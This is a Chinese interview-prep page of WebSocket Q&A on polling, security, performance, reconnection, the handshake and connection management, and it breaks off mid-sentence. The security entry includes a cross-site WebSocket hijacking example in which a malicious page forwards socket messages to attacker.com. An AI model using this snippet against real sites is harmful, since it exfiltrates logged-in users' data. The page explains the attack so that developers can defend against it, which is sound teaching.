乐闻世界logo
搜索文章和话题

面试题手册

WebSocket与HTTP轮询、长轮询有什么区别?

在实时通信场景中,WebSocket、HTTP轮询和长轮询是三种常见的技术方案。HTTP轮询(Polling)工作原理客户端定期向服务器发送HTTP请求,询问是否有新数据。// 客户端轮询实现setInterval(() => { fetch('/api/check-updates') .then(response => response.json()) .then(data => { if (data.hasUpdates) { console.log('收到更新:', data.updates); } });}, 5000); // 每5秒请求一次优点实现简单,兼容性好服务器无需特殊配置容易理解和使用缺点延迟高:最多等待一个轮询周期资源浪费:大量无效请求服务器压力大:频繁的HTTP请求带宽浪费:每次请求都携带HTTP头部HTTP长轮询(Long Polling)工作原理客户端发送请求后,服务器保持连接打开,直到有新数据或超时才返回。// 客户端长轮询实现function longPoll() { fetch('/api/long-poll') .then(response => response.json()) .then(data => { console.log('收到数据:', data); longPoll(); // 立即发起新的请求 }) .catch(error => { setTimeout(longPoll, 5000); // 错误后延迟重试 });}longPoll();优点实时性较好:服务器有数据立即返回减少请求次数:相比短轮询减少无效请求缺点连接管理复杂:需要处理超时和重连服务器资源占用:保持大量打开的连接仍然有延迟:超时时间设置需要权衡WebSocket工作原理建立持久连接,服务器和客户端可以随时发送消息。// WebSocket实现const ws = new WebSocket('ws://example.com/socket');ws.onopen = () => { console.log('连接已建立');};ws.onmessage = (event) => { console.log('收到消息:', event.data);};ws.onerror = (error) => { console.error('WebSocket错误:', error);};ws.onclose = () => { console.log('连接已关闭');};优点真正的实时性:双向通信,零延迟低开销:建立连接后只需少量数据传输全双工:服务器和客户端可以同时发送消息高效:减少HTTP头部开销缺点实现复杂度较高:需要处理连接状态、重连等服务器要求高:需要支持WebSocket协议兼容性问题:旧浏览器不支持防火墙限制:某些网络环境可能阻止WebSocket性能对比| 指标 | HTTP轮询 | 长轮询 | WebSocket || ------ | ------ | --- | --------- || 实时性 | 低 | 中 | 高 || 服务器负载 | 高 | 中 | 低 || 带宽消耗 | 高 | 中 | 低 || 实现复杂度 | 低 | 中 | 高 || 浏览器兼容性 | 最好 | 好 | 良好 |适用场景HTTP轮询数据更新频率低实时性要求不高简单的配置检查长轮询需要较好的实时性服务器资源充足不想引入WebSocket复杂度WebSocket高实时性要求双向通信需求频繁的数据交换在线聊天、游戏、实时监控等
阅读 0·2月18日 22:09

WebSocket有哪些安全问题?如何解决?

WebSocket虽然提供了高效的实时通信能力,但也面临多种安全挑战。了解并解决这些安全问题至关重要。主要安全风险1. 跨站WebSocket劫持(CSWSH)问题描述:攻击者利用用户的已登录状态,通过恶意网页建立WebSocket连接,窃取敏感数据。攻击示例:<!-- 恶意网站 --><script>const ws = new WebSocket('wss://bank.example.com/account');ws.onmessage = (event) => { // 发送窃取的数据到攻击者服务器 fetch('https://attacker.com/steal', { method: 'POST', body: event.data });};</script>解决方案:// 服务器端验证Origin头部const allowedOrigins = ['https://example.com'];wss.on('upgrade', (request, socket, head) => { const origin = request.headers.origin; if (!allowedOrigins.includes(origin)) { socket.destroy(); return; } // 继续WebSocket握手});2. 数据注入攻击问题描述:未经验证的数据直接处理,可能导致XSS、SQL注入等攻击。解决方案:// 客户端:发送前验证数据function sendSafeMessage(ws, message) { // 验证消息格式 if (!isValidMessage(message)) { console.error('无效的消息格式'); return; } // 转义特殊字符 const safeMessage = sanitizeMessage(message); ws.send(JSON.stringify(safeMessage));}// 服务器端:接收后验证数据wss.on('connection', (ws) => { ws.on('message', (data) => { try { const message = JSON.parse(data); // 验证消息结构 if (!validateMessageSchema(message)) { ws.close(1003, 'Invalid message format'); return; } // 处理消息 handleMessage(message); } catch (error) { ws.close(1002, 'Protocol error'); } });});3. 中间人攻击问题描述:攻击者拦截并篡改WebSocket通信。解决方案:// 始终使用WSS(WebSocket Secure)const ws = new WebSocket('wss://example.com/socket');// 服务器端配置SSL/TLSconst httpsServer = https.createServer({ cert: fs.readFileSync('cert.pem'), key: fs.readFileSync('key.pem')});const wss = new WebSocket.Server({ server: httpsServer });4. 认证和授权问题描述:未授权用户建立连接或访问受保护资源。解决方案:// 方案1:通过URL参数传递tokenconst ws = new WebSocket(`wss://example.com/socket?token=${token}`);// 服务器端验证tokenwss.on('connection', (ws, request) => { const token = new URL(request.url, 'http://localhost').searchParams.get('token'); if (!verifyToken(token)) { ws.close(1008, 'Unauthorized'); return; } // 连接成功,处理业务逻辑});// 方案2:通过子协议传递认证信息const ws = new WebSocket('wss://example.com/socket', ['auth-token', token]);// 服务器端验证子协议wss.on('connection', (ws, request) => { const protocols = request.headers['sec-websocket-protocol']; if (!protocols || !verifyProtocol(protocols)) { ws.close(1008, 'Unauthorized'); return; }});5. 拒绝服务攻击(DoS)问题描述:大量恶意连接或大消息导致服务器资源耗尽。解决方案:// 限制连接数量const MAX_CONNECTIONS = 1000;const connectionCount = new Map();wss.on('connection', (ws, request) => { const ip = request.socket.remoteAddress; const count = connectionCount.get(ip) || 0; if (count >= MAX_CONNECTIONS_PER_IP) { ws.close(1008, 'Too many connections'); return; } connectionCount.set(ip, count + 1); ws.on('close', () => { const currentCount = connectionCount.get(ip) || 0; connectionCount.set(ip, Math.max(0, currentCount - 1)); });});// 限制消息大小const MAX_MESSAGE_SIZE = 1024 * 1024; // 1MBwss.on('connection', (ws) => { ws.on('message', (data) => { if (data.length > MAX_MESSAGE_SIZE) { ws.close(1009, 'Message too large'); return; } // 处理消息 });});// 限制消息频率const rateLimiter = new Map();wss.on('connection', (ws, request) => { const ip = request.socket.remoteAddress; ws.on('message', (data) => { const now = Date.now(); const userMessages = rateLimiter.get(ip) || []; // 清理1分钟前的记录 const recentMessages = userMessages.filter(time => now - time < 60000); if (recentMessages.length >= 100) { // 每分钟最多100条消息 ws.close(1008, 'Rate limit exceeded'); return; } recentMessages.push(now); rateLimiter.set(ip, recentMessages); // 处理消息 });});6. 消息完整性验证问题描述:消息在传输过程中被篡改。解决方案:// 使用HMAC验证消息完整性const crypto = require('crypto');const SECRET_KEY = 'your-secret-key';function signMessage(message) { const hmac = crypto.createHmac('sha256', SECRET_KEY); hmac.update(JSON.stringify(message)); return hmac.digest('hex');}function verifyMessage(message, signature) { const expectedSignature = signMessage(message); return crypto.timingSafeEqual( Buffer.from(signature), Buffer.from(expectedSignature) );}// 客户端发送消息const message = { type: 'chat', content: 'Hello' };const signature = signMessage(message);ws.send(JSON.stringify({ message, signature }));// 服务器端验证消息wss.on('connection', (ws) => { ws.on('message', (data) => { const { message, signature } = JSON.parse(data); if (!verifyMessage(message, signature)) { ws.close(1002, 'Invalid signature'); return; } // 处理消息 });});安全最佳实践使用WSS:始终使用加密的WebSocket连接验证Origin:服务器端验证请求来源输入验证:对所有输入数据进行严格验证输出编码:对输出数据进行适当的编码认证授权:实现完善的认证和授权机制速率限制:防止DoS攻击日志记录:记录所有连接和消息,便于审计定期更新:及时更新WebSocket库和依赖安全头部:设置适当的安全响应头监控告警:实时监控异常行为并及时告警
阅读 0·2月18日 22:08

WebSocket如何进行性能优化?

WebSocket性能优化策略WebSocket虽然本身性能优异,但在实际应用中仍需进行多方面的优化以确保最佳性能。连接管理优化1. 连接池管理class WebSocketPool { constructor(url, maxConnections = 10) { this.url = url; this.maxConnections = maxConnections; this.connections = []; this.pendingRequests = []; } async getConnection() { // 查找空闲连接 const idleConnection = this.connections.find(conn => conn.busy === false); if (idleConnection) { idleConnection.busy = true; return idleConnection.ws; } // 创建新连接 if (this.connections.length < this.maxConnections) { const ws = await this.createConnection(); this.connections.push({ ws, busy: true }); return ws; } // 等待可用连接 return new Promise(resolve => { this.pendingRequests.push(resolve); }); } releaseConnection(ws) { const connection = this.connections.find(conn => conn.ws === ws); if (connection) { connection.busy = false; // 处理等待的请求 if (this.pendingRequests.length > 0) { const resolve = this.pendingRequests.shift(); connection.busy = true; resolve(ws); } } } async createConnection() { return new Promise((resolve, reject) => { const ws = new WebSocket(this.url); ws.onopen = () => resolve(ws); ws.onerror = reject; }); }}2. 连接复用// 单例模式管理全局WebSocket连接class GlobalWebSocket { static instance = null; constructor(url) { if (GlobalWebSocket.instance) { return GlobalWebSocket.instance; } this.url = url; this.ws = null; this.messageHandlers = new Map(); this.connect(); GlobalWebSocket.instance = this; } connect() { this.ws = new WebSocket(this.url); this.ws.onmessage = (event) => { const { type, data } = JSON.parse(event.data); const handlers = this.messageHandlers.get(type) || []; handlers.forEach(handler => handler(data)); }; } subscribe(type, handler) { if (!this.messageHandlers.has(type)) { this.messageHandlers.set(type, []); } this.messageHandlers.get(type).push(handler); } unsubscribe(type, handler) { const handlers = this.messageHandlers.get(type) || []; const index = handlers.indexOf(handler); if (index !== -1) { handlers.splice(index, 1); } }}// 使用示例const ws = new GlobalWebSocket('ws://example.com/socket');ws.subscribe('chat', (data) => console.log('收到聊天消息:', data));ws.subscribe('notification', (data) => console.log('收到通知:', data));消息传输优化1. 消息压缩// 使用pako库进行gzip压缩import pako from 'pako';class CompressibleWebSocket { constructor(url) { this.ws = new WebSocket(url); this.setupMessageHandlers(); } send(data) { const json = JSON.stringify(data); const compressed = pako.gzip(json); this.ws.send(compressed); } setupMessageHandlers() { this.ws.onmessage = (event) => { const compressed = new Uint8Array(event.data); const decompressed = pako.ungzip(compressed, { to: 'string' }); const data = JSON.parse(decompressed); this.handleMessage(data); }; } handleMessage(data) { // 处理解压后的消息 }}2. 消息批量发送class BatchWebSocket { constructor(url, batchSize = 10, batchTimeout = 100) { this.ws = new WebSocket(url); this.batch = []; this.batchSize = batchSize; this.batchTimeout = batchTimeout; this.batchTimer = null; } send(message) { this.batch.push(message); // 达到批量大小立即发送 if (this.batch.length >= this.batchSize) { this.flush(); } else { // 设置超时发送 this.scheduleFlush(); } } scheduleFlush() { if (this.batchTimer) { clearTimeout(this.batchTimer); } this.batchTimer = setTimeout(() => { this.flush(); }, this.batchTimeout); } flush() { if (this.batch.length === 0) return; const batch = [...this.batch]; this.batch = []; if (this.batchTimer) { clearTimeout(this.batchTimer); this.batchTimer = null; } this.ws.send(JSON.stringify({ type: 'batch', messages: batch })); }}3. 消息优先级class PriorityWebSocket { constructor(url) { this.ws = new WebSocket(url); this.highPriorityQueue = []; this.normalPriorityQueue = []; this.lowPriorityQueue = []; this.isSending = false; this.setupMessageHandlers(); } send(message, priority = 'normal') { const queue = this.getQueue(priority); queue.push(message); this.processQueue(); } getQueue(priority) { switch (priority) { case 'high': return this.highPriorityQueue; case 'low': return this.lowPriorityQueue; default: return this.normalPriorityQueue; } } async processQueue() { if (this.isSending) return; const message = this.getNextMessage(); if (!message) return; this.isSending = true; try { await this.sendMessage(message); } catch (error) { console.error('发送消息失败:', error); // 重新加入队列 this.normalPriorityQueue.unshift(message); } this.isSending = false; this.processQueue(); } getNextMessage() { if (this.highPriorityQueue.length > 0) { return this.highPriorityQueue.shift(); } if (this.normalPriorityQueue.length > 0) { return this.normalPriorityQueue.shift(); } if (this.lowPriorityQueue.length > 0) { return this.lowPriorityQueue.shift(); } return null; } sendMessage(message) { return new Promise((resolve, reject) => { this.ws.send(JSON.stringify(message)); resolve(); }); }}服务器端优化1. 负载均衡// 使用Redis进行WebSocket连接的负载均衡const Redis = require('ioredis');const redis = new Redis();class LoadBalancedWebSocketServer { constructor(server) { this.wss = new WebSocket.Server({ server }); this.setupLoadBalancing(); } setupLoadBalancing() { this.wss.on('connection', (ws, request) => { const userId = this.getUserId(request); const serverId = this.getServerId(userId); // 如果连接不在当前服务器,重定向 if (serverId !== this.currentServerId) { ws.close(1000, `Redirect to ${serverId}`); return; } // 注册连接 this.registerConnection(userId, ws); ws.on('close', () => { this.unregisterConnection(userId); }); }); } async registerConnection(userId, ws) { await redis.hset('websocket_connections', userId, this.currentServerId); this.connections.set(userId, ws); } async unregisterConnection(userId) { await redis.hdel('websocket_connections', userId); this.connections.delete(userId); } async sendToUser(userId, message) { const serverId = await redis.hget('websocket_connections', userId); if (serverId === this.currentServerId) { const ws = this.connections.get(userId); if (ws && ws.readyState === WebSocket.OPEN) { ws.send(JSON.stringify(message)); } } else { // 转发到目标服务器 this.forwardToServer(serverId, userId, message); } } getServerId(userId) { // 一致性哈希算法 return consistentHash(userId, this.serverList); }}2. 消息广播优化class OptimizedBroadcastServer { constructor(server) { this.wss = new WebSocket.Server({ server }); this.rooms = new Map(); this.setupBroadcast(); } setupBroadcast() { this.wss.on('connection', (ws, request) => { const { roomId } = this.parseRequest(request); // 加入房间 this.joinRoom(ws, roomId); ws.on('message', (data) => { const message = JSON.parse(data); this.broadcastToRoom(roomId, message, ws); }); ws.on('close', () => { this.leaveRoom(ws, roomId); }); }); } joinRoom(ws, roomId) { if (!this.rooms.has(roomId)) { this.rooms.set(roomId, new Set()); } this.rooms.get(roomId).add(ws); } leaveRoom(ws, roomId) { const room = this.rooms.get(roomId); if (room) { room.delete(ws); if (room.size === 0) { this.rooms.delete(roomId); } } } broadcastToRoom(roomId, message, excludeWs) { const room = this.rooms.get(roomId); if (!room) return; const data = JSON.stringify(message); room.forEach(ws => { if (ws !== excludeWs && ws.readyState === WebSocket.OPEN) { ws.send(data); } }); }}监控和调优1. 性能监控class WebSocketMonitor { constructor(ws) { this.ws = ws; this.metrics = { messagesSent: 0, messagesReceived: 0, bytesSent: 0, bytesReceived: 0, latency: [], errors: 0 }; this.setupMonitoring(); } setupMonitoring() { const originalSend = this.ws.send.bind(this.ws); this.ws.send = (data) => { this.metrics.messagesSent++; this.metrics.bytesSent += data.length; return originalSend(data); }; this.ws.onmessage = (event) => { this.metrics.messagesReceived++; this.metrics.bytesReceived += event.data.length; // 计算延迟 if (event.data.timestamp) { const latency = Date.now() - event.data.timestamp; this.metrics.latency.push(latency); // 只保留最近100个延迟记录 if (this.metrics.latency.length > 100) { this.metrics.latency.shift(); } } }; this.ws.onerror = () => { this.metrics.errors++; }; } getMetrics() { return { ...this.metrics, averageLatency: this.calculateAverageLatency(), p99Latency: this.calculateP99Latency() }; } calculateAverageLatency() { if (this.metrics.latency.length === 0) return 0; const sum = this.metrics.latency.reduce((a, b) => a + b, 0); return sum / this.metrics.latency.length; } calculateP99Latency() { if (this.metrics.latency.length === 0) return 0; const sorted = [...this.metrics.latency].sort((a, b) => a - b); const index = Math.floor(sorted.length * 0.99); return sorted[index]; }}最佳实践连接复用:避免频繁创建和销毁连接消息压缩:对大消息进行压缩传输批量发送:合并小消息减少网络往返优先级队列:重要消息优先发送负载均衡:分散连接到多个服务器监控指标:实时监控性能指标及时调优:根据监控数据调整策略资源清理:及时清理无用连接和资源
阅读 0·2月18日 22:08

WebSocket如何实现断线重连?

WebSocket断线重连机制详解WebSocket连接可能会因为网络波动、服务器重启、超时等原因断开,实现可靠的断线重连机制至关重要。连接状态检测WebSocket有四种连接状态:const ws = new WebSocket('ws://example.com');// 0: CONNECTING - 正在连接// 1: OPEN - 已连接// 2: CLOSING - 正在关闭// 3: CLOSED - 已关闭console.log(ws.readyState); // 获取当前状态基础重连实现class WebSocketManager { constructor(url) { this.url = url; this.ws = null; this.reconnectAttempts = 0; this.maxReconnectAttempts = 5; this.reconnectInterval = 3000; // 3秒 this.shouldReconnect = true; this.connect(); } connect() { this.ws = new WebSocket(this.url); this.ws.onopen = () => { console.log('WebSocket连接已建立'); this.reconnectAttempts = 0; }; this.ws.onclose = (event) => { console.log('WebSocket连接已关闭:', event.code, event.reason); if (this.shouldReconnect) { this.reconnect(); } }; this.ws.onerror = (error) => { console.error('WebSocket错误:', error); }; } reconnect() { if (this.reconnectAttempts >= this.maxReconnectAttempts) { console.error('达到最大重连次数,停止重连'); return; } this.reconnectAttempts++; const delay = this.getReconnectDelay(); console.log(`${delay}ms后尝试第${this.reconnectAttempts}次重连`); setTimeout(() => { this.connect(); }, delay); } getReconnectDelay() { // 指数退避策略 return Math.min( this.reconnectInterval * Math.pow(2, this.reconnectAttempts - 1), 30000 // 最大30秒 ); } disconnect() { this.shouldReconnect = false; if (this.ws) { this.ws.close(); } }}// 使用示例const wsManager = new WebSocketManager('ws://example.com/socket');优雅关闭处理class WebSocketManager { // ... 其他代码 close(code = 1000, reason = 'Normal closure') { this.shouldReconnect = false; if (this.ws && this.ws.readyState === WebSocket.OPEN) { this.ws.close(code, reason); } } // 在onclose中判断是否为正常关闭 ws.onclose = (event) => { // 正常关闭状态码:1000 if (event.code === 1000) { console.log('正常关闭连接'); return; } // 异常关闭,尝试重连 if (this.shouldReconnect) { this.reconnect(); } };}常见关闭状态码| 状态码 | 含义 ||--------|------|| 1000 | 正常关闭 || 1001 | 端点离开 || 1002 | 协议错误 || 1003 | 不支持的数据类型 || 1005 | 无状态码(内部使用) || 1006 | 连接异常关闭 || 1007 | 数据类型不一致 || 1008 | 策略违规 || 1009 | 消息过大 || 1010 | 缺少扩展 || 1011 | 内部错误 || 1015 | TLS握手失败 |心跳检测与重连class WebSocketManager { constructor(url) { // ... 其他初始化 this.heartbeatInterval = 30000; // 30秒 this.heartbeatTimer = null; this.pongTimeout = 5000; // 5秒超时 this.pongTimer = null; } startHeartbeat() { this.heartbeatTimer = setInterval(() => { if (this.ws && this.ws.readyState === WebSocket.OPEN) { this.sendPing(); } }, this.heartbeatInterval); } sendPing() { this.ws.send(JSON.stringify({ type: 'ping' })); // 设置pong超时 this.pongTimer = setTimeout(() => { console.error('心跳超时,关闭连接'); this.ws.close(); }, this.pongTimeout); } handlePong() { if (this.pongTimer) { clearTimeout(this.pongTimer); this.pongTimer = null; } } ws.onmessage = (event) => { const data = JSON.parse(event.data); if (data.type === 'pong') { this.handlePong(); } // 处理其他消息... }; ws.onopen = () => { this.startHeartbeat(); }; ws.onclose = () => { this.stopHeartbeat(); }; stopHeartbeat() { if (this.heartbeatTimer) { clearInterval(this.heartbeatTimer); this.heartbeatTimer = null; } if (this.pongTimer) { clearTimeout(this.pongTimer); this.pongTimer = null; } }}离线检测class WebSocketManager { constructor(url) { // ... 其他初始化 this.setupOfflineDetection(); } setupOfflineDetection() { window.addEventListener('online', () => { console.log('网络已恢复,尝试重连'); if (!this.ws || this.ws.readyState !== WebSocket.OPEN) { this.connect(); } }); window.addEventListener('offline', () => { console.log('网络已断开'); }); }}最佳实践指数退避:重连间隔逐渐增加,避免服务器压力最大重连次数:防止无限重连心跳机制:及时检测连接状态优雅关闭:区分正常和异常关闭离线检测:监听网络状态变化状态通知:向用户反馈连接状态消息队列:重连期间缓存消息,连接成功后发送
阅读 0·2月18日 22:08

WebSocket 的性能优化技术有哪些?

WebSocket 性能优化需要从多个层面进行,包括协议层面、应用层面和架构层面。以下是关键的性能优化技术:1. 消息压缩启用 permessage-deflate 扩展// 客户端启用压缩const ws = new WebSocket('wss://example.com/socket', { perMessageDeflate: { threshold: 1024, // 超过1KB的消息才压缩 clientMaxWindowBits: 15, serverMaxWindowBits: 15, clientNoContextTakeover: false, serverNoContextTakeover: false }});// 服务器端(Node.js ws库)const WebSocket = require('ws');const wss = new WebSocket.Server({ perMessageDeflate: { threshold: 1024, zlibDeflateOptions: { level: 3, // 压缩级别 1-9,3是平衡点 concurrency: 10 }, zlibInflateOptions: { chunkSize: 10 * 1024 } }});压缩效果:文本消息可减少 60-80% 的大小JSON 数据压缩效果显著注意:小消息压缩可能反而增加开销2. 消息批处理和合并批量发送小消息class MessageBatcher { constructor(ws, batchSize = 10, batchTimeout = 100) { this.ws = ws; this.batchSize = batchSize; this.batchTimeout = batchTimeout; this.messageQueue = []; this.batchTimer = null; } add(message) { this.messageQueue.push(message); if (this.messageQueue.length >= this.batchSize) { this.flush(); } else if (!this.batchTimer) { this.batchTimer = setTimeout(() => this.flush(), this.batchTimeout); } } flush() { if (this.messageQueue.length === 0) return; const batch = { type: 'batch', messages: this.messageQueue, timestamp: Date.now() }; this.ws.send(JSON.stringify(batch)); this.messageQueue = []; if (this.batchTimer) { clearTimeout(this.batchTimer); this.batchTimer = null; } }}// 使用示例const batcher = new MessageBatcher(ws);batcher.add({ type: 'chat', text: 'Hello' });batcher.add({ type: 'status', value: 'online' });3. 二进制数据传输使用二进制格式传输大数据// 发送二进制数据const largeData = new ArrayBuffer(1024 * 1024); // 1MB 数据ws.send(largeData);// 使用 ArrayBuffer 和 TypedArray 优化function sendOptimizedData(ws, data) { // 将对象转换为二进制格式 const buffer = new ArrayBuffer(data.length * 4); const view = new Float32Array(buffer); for (let i = 0; i < data.length; i++) { view[i] = data[i]; } ws.send(buffer);}// 接收二进制数据ws.binaryType = 'arraybuffer';ws.onmessage = (event) => { if (event.data instanceof ArrayBuffer) { const view = new Float32Array(event.data); // 处理二进制数据 }};优势:比文本格式更紧凑解析速度更快内存占用更少4. 连接复用和池化客户端连接池class WebSocketPool { constructor(url, poolSize = 3) { this.url = url; this.poolSize = poolSize; this.connections = []; this.activeCount = 0; } async getConnection() { // 查找空闲连接 const available = this.connections.find(ws => ws.readyState === WebSocket.OPEN && !ws.inUse ); if (available) { available.inUse = true; return available; } // 创建新连接 if (this.connections.length < this.poolSize) { const ws = new WebSocket(this.url); ws.inUse = true; this.connections.push(ws); return ws; } // 等待连接释放 return new Promise(resolve => { const checkInterval = setInterval(() => { const free = this.connections.find(ws => ws.readyState === WebSocket.OPEN && !ws.inUse ); if (free) { clearInterval(checkInterval); free.inUse = true; resolve(free); } }, 100); }); } releaseConnection(ws) { ws.inUse = false; }}5. 数据结构优化使用高效的数据格式// 使用 Protocol Buffers 替代 JSONconst protobuf = require('protobufjs');// 定义消息结构const messageSchema = protobuf.loadSync('message.proto');const Message = messageSchema.lookupType('Message');// 编码const message = Message.encode({ type: 'chat', content: 'Hello', timestamp: Date.now()});// 发送ws.send(message.finish());// 解码ws.onmessage = (event) => { const decoded = Message.decode(new Uint8Array(event.data)); // 处理解码后的数据};性能对比:Protocol Buffers: 编码/解码快 5-10 倍MessagePack: 比 JSON 小 20-30%FlatBuffers: 零拷贝访问6. 心跳优化自适应心跳机制class AdaptiveHeartbeat { constructor(ws, initialInterval = 30000) { this.ws = ws; this.interval = initialInterval; this.minInterval = 5000; this.maxInterval = 60000; this.rtt = 0; this.timer = null; } start() { this.scheduleNextPing(); } scheduleNextPing() { this.timer = setTimeout(() => { const startTime = Date.now(); this.ws.send(JSON.stringify({ type: 'ping', timestamp: startTime })); this.ws.once('message', (data) => { const message = JSON.parse(data); if (message.type === 'pong') { this.rtt = Date.now() - startTime; this.adjustInterval(); } }); this.scheduleNextPing(); }, this.interval); } adjustInterval() { // 根据 RTT 调整心跳间隔 if (this.rtt < 100) { this.interval = Math.min(this.interval * 0.9, this.maxInterval); } else if (this.rtt > 500) { this.interval = Math.max(this.interval * 1.1, this.minInterval); } }}7. 服务器端优化使用高性能 WebSocket 库// 使用 uWS(比 ws 快 10-20 倍)const uWS = require('uWebSockets.js');const app = uWS.App().ws('/*', { compression: 1, // 启用压缩 maxPayloadLength: 16 * 1024 * 1024, // 16MB idleTimeout: 60, open: (ws) => { // 连接打开 }, message: (ws, message, isBinary) => { // 处理消息 ws.send(message, isBinary); }, close: (ws, code, message) => { // 连接关闭 }}).listen(3000, (token) => { if (token) { console.log('Server started'); }});8. 监控和调优性能监控指标class PerformanceMonitor { constructor() { this.metrics = { messagesSent: 0, messagesReceived: 0, bytesSent: 0, bytesReceived: 0, latency: [], errors: 0 }; } recordMessage(size, latency) { this.metrics.messagesSent++; this.metrics.bytesSent += size; this.metrics.latency.push(latency); // 保持最近1000个样本 if (this.metrics.latency.length > 1000) { this.metrics.latency.shift(); } } getStats() { const avgLatency = this.metrics.latency.reduce((a, b) => a + b, 0) / this.metrics.latency.length; return { ...this.metrics, avgLatency: avgLatency.toFixed(2), throughput: (this.metrics.bytesSent / 1024 / 1024).toFixed(2) + ' MB/s' }; }}性能优化建议总结启用压缩:对大消息使用 permessage-deflate批处理:合并小消息减少网络往返二进制格式:使用二进制数据传输大数据连接复用:避免频繁创建连接高效序列化:使用 Protocol Buffers 等格式自适应心跳:根据网络状况调整心跳间隔高性能库:使用 uWS 等优化库监控调优:持续监控性能指标并优化
阅读 0·2月18日 21:44

WebSocket 握手过程是如何工作的?

WebSocket 握手是一个从 HTTP 协议升级到 WebSocket 协议的过程,通过 HTTP Upgrade 机制实现。握手流程详解1. 客户端发起握手请求客户端发送一个特殊的 HTTP GET 请求,包含以下关键头部字段:GET /chat HTTP/1.1Host: server.example.comUpgrade: websocketConnection: UpgradeSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==Sec-WebSocket-Version: 13Sec-WebSocket-Protocol: chat, superchatSec-WebSocket-Extensions: permessage-deflate; client_max_window_bits关键头部说明:Upgrade: websocket: 告诉服务器客户端想要升级到 WebSocket 协议Connection: Upgrade: 表示这是一个升级连接Sec-WebSocket-Key: 客户端生成的随机字符串,用于验证服务器Sec-WebSocket-Version: WebSocket 协议版本,当前为 13Sec-WebSocket-Protocol: 可选,指定子协议Sec-WebSocket-Extensions: 可选,指定扩展功能2. 服务器验证并响应服务器收到请求后,进行以下验证:验证 Sec-WebSocket-Key 是否存在将 Sec-WebSocket-Key 与 GUID 258EAFA5-E914-47DA-95CA-C5AB0DC85B11 拼接对拼接后的字符串进行 SHA-1 哈希将哈希结果进行 Base64 编码将编码结果放入 Sec-WebSocket-Accept 头部服务器响应:HTTP/1.1 101 Switching ProtocolsUpgrade: websocketConnection: UpgradeSec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=Sec-WebSocket-Protocol: chat3. 连接建立成功服务器返回 101 状态码后,HTTP 连接升级为 WebSocket 连接,双方开始使用 WebSocket 数据帧进行通信。握手安全性防止跨站 WebSocket 劫持(CSWSH)Origin 头部验证:服务器检查请求来源Sec-WebSocket-Key 验证:防止缓存投毒攻击最佳实践使用 WSS(WebSocket Secure)加密连接验证 Origin 头部实施适当的认证机制限制连接频率
阅读 0·2月18日 21:43

如何管理 WebSocket 连接的最佳实践是什么?

管理 WebSocket 连接需要考虑连接生命周期、资源优化、错误处理等多个方面。以下是最佳实践:连接管理策略1. 连接建立与初始化客户端侧:const ws = new WebSocket('wss://example.com/socket');ws.onopen = () => { console.log('WebSocket connected'); // 发送初始化消息 ws.send(JSON.stringify({ type: 'init', data: userData }));};ws.onerror = (error) => { console.error('WebSocket error:', error); // 实现错误处理逻辑};服务器侧:验证连接请求的合法性设置合理的连接超时时间记录连接元数据(用户ID、设备信息等)2. 心跳机制实现心跳保持连接活跃:// 客户端心跳let heartbeatInterval;function startHeartbeat() { heartbeatInterval = setInterval(() => { if (ws.readyState === WebSocket.OPEN) { ws.send(JSON.stringify({ type: 'ping' })); } }, 30000); // 每30秒发送一次}ws.onmessage = (event) => { const data = JSON.parse(event.data); if (data.type === 'pong') { // 收到服务器响应,连接正常 }};服务器心跳:监控客户端活跃状态超时未响应则关闭连接减少无效连接占用资源3. 连接重连策略指数退避重连算法:function reconnect() { let retryCount = 0; const maxRetries = 5; const baseDelay = 1000; // 1秒 function attemptReconnect() { if (retryCount >= maxRetries) { console.error('Max reconnection attempts reached'); return; } const delay = Math.min(baseDelay * Math.pow(2, retryCount), 30000); setTimeout(() => { try { ws = new WebSocket('wss://example.com/socket'); retryCount++; } catch (error) { console.error('Reconnection failed:', error); attemptReconnect(); } }, delay); } attemptReconnect();}4. 连接池管理服务器端连接池优化:使用内存数据库(如 Redis)存储连接映射实现连接分组和路由设置最大连接数限制实现连接负载均衡// 连接池示例const connectionPool = new Map();function addConnection(userId, ws) { connectionPool.set(userId, ws);}function getConnection(userId) { return connectionPool.get(userId);}function removeConnection(userId) { connectionPool.delete(userId);}5. 资源清理优雅关闭连接:function closeConnection() { if (ws && ws.readyState === WebSocket.OPEN) { // 发送关闭帧 ws.send(JSON.stringify({ type: 'close', reason: 'user_logout' })); // 等待服务器确认 setTimeout(() => { ws.close(1000, 'Normal closure'); }, 1000); } // 清理定时器 if (heartbeatInterval) { clearInterval(heartbeatInterval); }}6. 监控与日志关键监控指标:连接数量和趋势消息发送/接收速率连接失败率平均连接时长内存和 CPU 使用率日志记录:连接建立和断开事件消息传输统计错误和异常情况性能优化建议消息批处理:将多个小消息合并发送压缩传输:启用 permessage-deflate 扩展二进制数据:使用二进制格式传输大数据连接复用:避免频繁创建和销毁连接限流控制:防止消息洪泛
阅读 0·2月18日 21:38

如何保护 WebSocket 连接的安全性?

在生产环境中保护 WebSocket 连接需要多层次的安全措施。以下是关键的安全实践:1. 使用 WSS(WebSocket Secure)强制使用加密连接:// 始终使用 wss:// 而不是 ws://const ws = new WebSocket('wss://example.com/socket');// 验证证书const ws = new WebSocket('wss://example.com/socket', { rejectUnauthorized: true // 拒绝无效证书});WSS 的优势:数据传输加密(TLS/SSL)防止中间人攻击保护敏感信息不被窃听2. 身份验证和授权连接时验证// 在握手时传递认证令牌const ws = new WebSocket(`wss://example.com/socket?token=${authToken}`);// 或在连接建立后发送认证消息ws.onopen = () => { ws.send(JSON.stringify({ type: 'auth', token: authToken }));};服务器端验证// 验证 JWT 令牌function validateConnection(token) { try { const decoded = jwt.verify(token, SECRET_KEY); return decoded.userId; } catch (error) { return null; }}// 握手时验证wss.on('connection', (ws, req) => { const token = req.url.split('token=')[1]; const userId = validateConnection(token); if (!userId) { ws.close(1008, 'Unauthorized'); return; } // 认证成功,继续处理});3. Origin 头部验证防止跨站 WebSocket 劫持(CSWSH):wss.on('connection', (ws, req) => { const origin = req.headers.origin; const allowedOrigins = ['https://yourdomain.com', 'https://app.yourdomain.com']; if (!allowedOrigins.includes(origin)) { ws.close(1003, 'Unsupported Data'); return; } // 允许连接});4. 速率限制和节流防止消息洪泛和 DoS 攻击:const rateLimiter = new Map();function checkRateLimit(userId) { const now = Date.now(); const userLimit = rateLimiter.get(userId); if (!userLimit) { rateLimiter.set(userId, { count: 1, resetTime: now + 60000 }); return true; } if (now > userLimit.resetTime) { rateLimiter.set(userId, { count: 1, resetTime: now + 60000 }); return true; } if (userLimit.count >= 100) { // 